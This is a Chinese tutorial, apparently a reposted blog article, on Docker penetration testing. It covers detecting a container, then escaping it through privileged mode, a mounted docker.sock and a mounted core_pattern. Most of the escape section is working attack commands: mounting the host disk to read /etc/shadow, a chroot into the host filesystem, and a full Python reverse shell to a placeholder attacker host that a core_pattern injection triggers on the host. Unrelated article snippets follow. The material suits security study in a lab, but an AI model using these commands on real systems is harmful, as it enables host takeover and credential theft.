云上攻防-云原生篇Docker安全权限环境检测容器逃逸特权模式危险挂载

文章目录

  • 前言
    • 1、Docker是干嘛的?
    • 2、Docker对于渗透测试影响?
    • 3、Docker渗透测试点有那些?
    • 4、前渗透-判断在Docker中
      • 方式一:查询cgroup信息
      • 方式二:检查/.dockerenv文件
      • 方式三:检查mount信息
      • 方式四:查看硬盘信息
      • 方式五:查看文件系统以及挂载点
    • 5、前渗透-镜像中的应用漏洞
    • 6、前渗透-镜像中的默认配置
    • 7、后渗透-三种安全容器逃逸
  • 容器逃逸-特权模式
  • 容器逃逸-危险挂载
    • 1、挂载Docker Socket逃逸
    • 2、挂载宿主机procfs逃逸

前言

1、Docker是干嘛的?

Docker 是一个开放源代码软件,是一个开放平台,用于开发应用、交付(shipping)应用、运行应用。Docker允许用户将基础设施(Infrastructure)中的应用单独分割出来,形成更小的颗粒(容器),从而提高交付软件的速度。
Docker 容器与虚拟机类似,但二者在原理上不同,容器是将操作系统层虚拟化,虚拟机则是虚拟化硬件,因此容器更具有便携性、高效地利用服务器。

2、Docker对于渗透测试影响?

3、Docker渗透测试点有那些?

在这里插入图片描述

4、前渗透-判断在Docker中

没有权限:端口扫描详细信息,根据应用对象表现
但是想通过端口扫描判断对方是不是docker服务几乎是不可能的(我没遇到……)

拿到权限:

方式一:查询cgroup信息

docker中:
在这里插入图片描述真实主机上:
在这里插入图片描述

方式二:检查/.dockerenv文件

通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境
docker中:
在这里插入图片描述真实主机上:
在这里插入图片描述
不过有一点需要注意的是,如果你获取的shell权限过小的话(www-data、或是某一服务的用户),根目录下也是不存在.dockerenv文件的
在这里插入图片描述

方式三:检查mount信息

利用mount查看挂载磁盘是否存在docker相关信息。

docker中:
在这里插入图片描述真实主机上:
在这里插入图片描述

方式四:查看硬盘信息

fdisk -l 容器输出为空,非容器有内容输出。

docker中:
在这里插入图片描述真实主机上:
在这里插入图片描述

方式五:查看文件系统以及挂载点

df -h 检查文件系统挂载的目录,也能够简单判断是否为docker环境。

df -h | egrep '(overlay|aufs)'

docker中:
在这里插入图片描述
真实主机上:
在这里插入图片描述

参考:https://blog.csdn.net/qq_23936389/article/details/131467165

5、前渗透-镜像中的应用漏洞

正常web渗透测试

6、前渗透-镜像中的默认配置

7、后渗透-三种安全容器逃逸

-特权模式启动导致(不安全启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
-危险挂载启动导致(危险启动 适用于java jsp高权限无需提权 还要提权才能逃逸)
-docker自身&系统漏洞(软件漏洞和系统漏洞 都可用)
https://wiki.teamssix.com/CloudNative/
在这里插入图片描述

容器逃逸-特权模式

启动靶场:docker run --rm --privileged=true -it alpine
在这里插入图片描述检测环境:cat /proc/1/cgroup | grep -qi docker && echo “Is Docker” || echo “Not Docker”
在这里插入图片描述判断特权:cat /proc/self/status | grep CapEff
如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
在这里插入图片描述
查看目录:fdisk -l
在这里插入图片描述特权逃逸:mkdir /test && mount /dev/vda1 /test
在这里插入图片描述判断结果:尝试访问宿主机 shadow 文件,可以看到正常访问
在这里插入图片描述

容器逃逸-危险挂载

1、挂载Docker Socket逃逸

启动靶场:docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
进入环境:docker exec -it with_docker_sock /bin/bash
检测环境:ls -lah /var/run/docker.sock
在这里插入图片描述挂载逃逸:
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
在这里插入图片描述chroot /host
在这里插入图片描述

2、挂载宿主机procfs逃逸

启动环境:docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
检测环境:find / -name core_pattern
在这里插入图片描述找到当前容器在宿主机下的绝对路径

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

在这里插入图片描述这就表示当前绝对路径为

/var/lib/docker/overlay2/5c86feb33aba7c5fc559bee1a7b47b1f8004e1f6f20db4b97d8efbfa4cc33a19/merged

创建一个反弹 Shell 的 py 脚本

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"
lport = xxxx
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")os.remove('/tmp/.x.py')s.close()
if __name__ == "__main__":main()
EOF

给 Shell 赋予执行权限

chmod 777 .x.py

写入反弹 shell 到目标的 proc 目录下

echo -e "|/var/lib/docker/overlay2/ad9b33531057ae1736388c0198e80e49de165b12d9d16bd81fd44022cff0e72f/merged/tmp/.x.py \rcore    " >  /host/proc/sys/kernel/core_pattern

在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序

cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{int *a = NULL;*a = 1;return 0;
}
EOF
gcc x.c -o t
./t

在这里插入图片描述不过我这里尝试了好几次都没有成功……

模拟真实场景:
1、高权限-Web入口到Docker逃逸(Java)

docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721

在这里插入图片描述在这里插入图片描述在这里插入图片描述2、低权限-Web入口到Docker逃逸(PHP)

docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa

java大部分都是高权限,php需提权……

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/109823.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ArcGIS笔记7_如何创建新的shp要素文件?新shp的坐标系选择?

本文目录 前言Step 1 创建新的shp要素文件的操作Step 2 常用的坐标系选择Step 3 有点笨但好用的新建shp要素的方法 前言 很多ArcGIS新手都会遇到的问题&#xff0c;会编辑现成的shp要素文件&#xff0c;但不会创建新shp&#xff0c;而且创建时需要选择新的坐标系&#xff0c;这…

京东手机销售数据:2023年9月京东手机行业TOP10品牌排行榜

鲸参谋监测的京东平台9月份手机市场销售数据已出炉&#xff01; 9月份&#xff0c;手机市场销售整体呈现下滑。鲸参谋数据显示&#xff0c;今年9月&#xff0c;京东平台手机销量为300万&#xff0c;环比下降约20%&#xff0c;同比下降约18%&#xff1b;销售额为92亿&#xff0c…

Scala

1.scala安装 下载scala安装包&#xff0c;默认下一步&#xff0c;完成后cmd验证 Idea安装scala插件 在项目上&#xff0c;点击右键-> Add Framework Support... ->选择Scala->点击OK 更改环境&#xff0c;项目结构->项目/模块-> 2.scala入门 概述 Scala将面…

【算法设计与分析qwl】伪码——顺序检索,插入排序

伪代码&#xff1a; 例子&#xff1a; 改进的顺序检索 Search(L,x)输入&#xff1a;数组L[1...n]&#xff0c;元素从小到大排序&#xff0c;数x输出&#xff1a;若x在L中&#xff0c;输出x位置下标 j ,否则输出0 j <- 1 while j<n and x>L[j] do j <- j1 if x<…

【安全】网络安全态势感知

一、态势感知简介 如果你对网络安全入门感兴趣&#xff0c;那么你需要的话可以点击这里&#x1f449;【入门&进阶全套282G学习资源包免费分享&#xff01;】 1.概念 态势感知是一种基于环境的、动态、整体地洞悉安全风险的能力&#xff0c;是以 安全大数据 为基础&#…

Nginx配置微服务避免actuator暴露

微服务一般在扫漏洞的情况下&#xff0c;需要屏蔽actuator健康检查 # 避免actuator暴露 if ($request_uri ~ "/actuator") { return 403; }

Linux块设备缓存Bcache使用

1 Bcache简介 Bcache是Linux内核块层cache&#xff0c;它使用SSD来作为HDD硬盘的cache&#xff0c;从而起到加速作用。Bcache内核模块仅在Linux 3.10及以上版本支持&#xff0c;因此使用Bcache&#xff0c;需要将内核升级到3.10及以上版本&#xff0c;并在内核配置项中打开Bca…

Tortoise SVN 察看本地缓存密码

1、打开设置&#xff08;Settings&#xff09; 2、查看保存的数据 3、打开鉴权数据 4、查看密码 CTRLSHIFT双击表格&#xff0c;就会出现一列密码列 &#xff08;我的是Mac PD虚拟Win11&#xff0c;CTRLSHIFTOPTION双击表格&#xff09; 原文见这里&#xff1a; Recover SVN …

2022年03月 Python(二级)真题解析#中国电子学会#全国青少年软件编程等级考试

Python编程(1~6级)全部真题・点这里 C/C++编程(1~8级)全部真题・点这里 一、单选题(共25题,每题2分,共50分) 第1题 关于Python中的列表,下列描述错误的是?( ) A:列表是Python中内置可变序列,是若干元素的有序集合; B:列表中的每一个数据称为“元素”; C:在…

qt-C++笔记之按行读取文件并切换复选框打印复选框拼接出的字符串

qt-C笔记之按行读取文件并切换复选框打印复选框拼接出的字符串 code review! 文章目录 qt-C笔记之按行读取文件并切换复选框打印复选框拼接出的字符串1.运行2.文件结构3.main.cc4.main.pro5.a.txt6.b.txt 1.运行 2.文件结构 3.main.cc 代码 #include <QApplication> #…

【Arduino+ESP32+腾讯云+sg90】强制门户+腾讯云控制开关灯

作者有话说 博主对于Arduino开发并没有基础&#xff0c;但是为了实现更加方便的配网&#xff0c;这几天一直在尝试用ESP32-12F&#xff08;因为手头刚好有一个&#xff0c;其他的也可以&#xff09;来做远程开关灯&#xff01;不知道大家是否注意到&#xff0c;上一篇利用STM32…

iOS——JSONModel的使用与JSONModel的嵌套

什么是JSONModel JSONModel是一个解析JSON数据的开源库&#xff0c;可以将JSON数据直接解析成自定义的model 使用 JSONModel 非常简单,只需要将你的 model 类继承自 JSONModel ,而同时 model 中的属性名又恰巧可以和 JSON 数据中的 key 名字一样的话,那么非常恭喜你,你的工作…

“滑动窗口”算法专项训练

目录 题目链接&#xff1a;长度最小的子数组 题目描述 思路分析&#xff1a;滑动窗口(利用单调性&#xff0c;使用"同向双指针来优化) 细节处理 画图解析 代码 题目链接&#xff1a;最大连续1的个数 III 题目描述 思路分析&#xff1a;滑动窗口(同向双指针) 细节…

基于openHarmony实现本地UDP通信

知识补充 简介 套接字(Socket)&#xff0c;就是对网络中不同主机上的应用进程之间进行双向通信的端点的抽象。一个套接字就是网络上进程通信的一端&#xff0c;提供了应用层进程利用网络协议交换数据的机制。从所处的地位来讲&#xff0c;套接字上联应用进程&#xff0c;下联…

数据挖掘(5)分类数据挖掘:基于距离的分类方法

一、分类挖掘的基本流程 最常用的就是客户评估 1.1分类器概念 1.2分类方法 基于距离的分类方法决策树分类方法贝叶斯分类方法 1.3分类的基本流程 步骤 建立分类模型 通过分类算法对训练集训练&#xff0c;得到有指导的学习、有监督的学习预定义的类&#xff1a;类标号属性确定…

【软考】6.2 网络安全技术

《网络安全技术》 防火墙 一道大门&#xff0c;隔离内网和外网主要分隔外网的威胁&#xff0c;对内网的直接攻击无能为力 入侵检测系统&#xff08;IDS&#xff09; 位于防火墙后的第二道屏障监听设备&#xff1a;监控当前系统 / 用户行为&#xff0c;无需网络流量即可工作尽…

6.7 案例分析与实现

思维导图&#xff1a; 6.7 案例分析与实现 #### 案例6.2: 六度空间理论 【案例分析】 - **背景介绍**&#xff1a; 六度空间理论提及在任意两人之间最多仅有6个人的连接。尽管这一理论被广泛提及并得到了某种程度的验证&#xff0c;但从科学角度看&#xff0c;它仍然只是一…

214. Devu和鲜花

214. Devu和鲜花 - AcWing题库 如果每个盒子里的花的数量是无限的&#xff0c;用隔板法可以得出答案是 现在每个盒子中区的花数要满足n个条件 我们可以求答案的补集&#xff0c;用全部方案数减去补集方案数 每一个不符合条件的要求为&#xff0c;设为Bi 补集方案数为就成了…

7.MidBook项目经验之阿里OSS,微信支付(退款),定时任务,图表数据处理

1.阿里云实名认证 阿里云对象存储oss,标准高频率访问, 低频访问存储,归档存储(根本不经常访问) 冗余存储(备份) 读写权限(所有人还是自己访问) Component public class ConstantOssPropertiesUtils implements InitializingBean {不用注入,由spring创建bean使用流 MultipartFil…

【Mac】时间机器频繁提示磁盘没有正常推出

问题描述 有一次在进行时间机器备份的时候总是提示“磁盘没有正常推出”&#xff0c;并且好几次直接导致系统重启… 估计是 MacOS 系统 bug 解决 看了 Vex 一个帖子之后设置了一个硬盘是否休眠就好了&#xff0c;不要勾选让硬盘处于休眠就可以了&#xff0c;在电池选项界面中…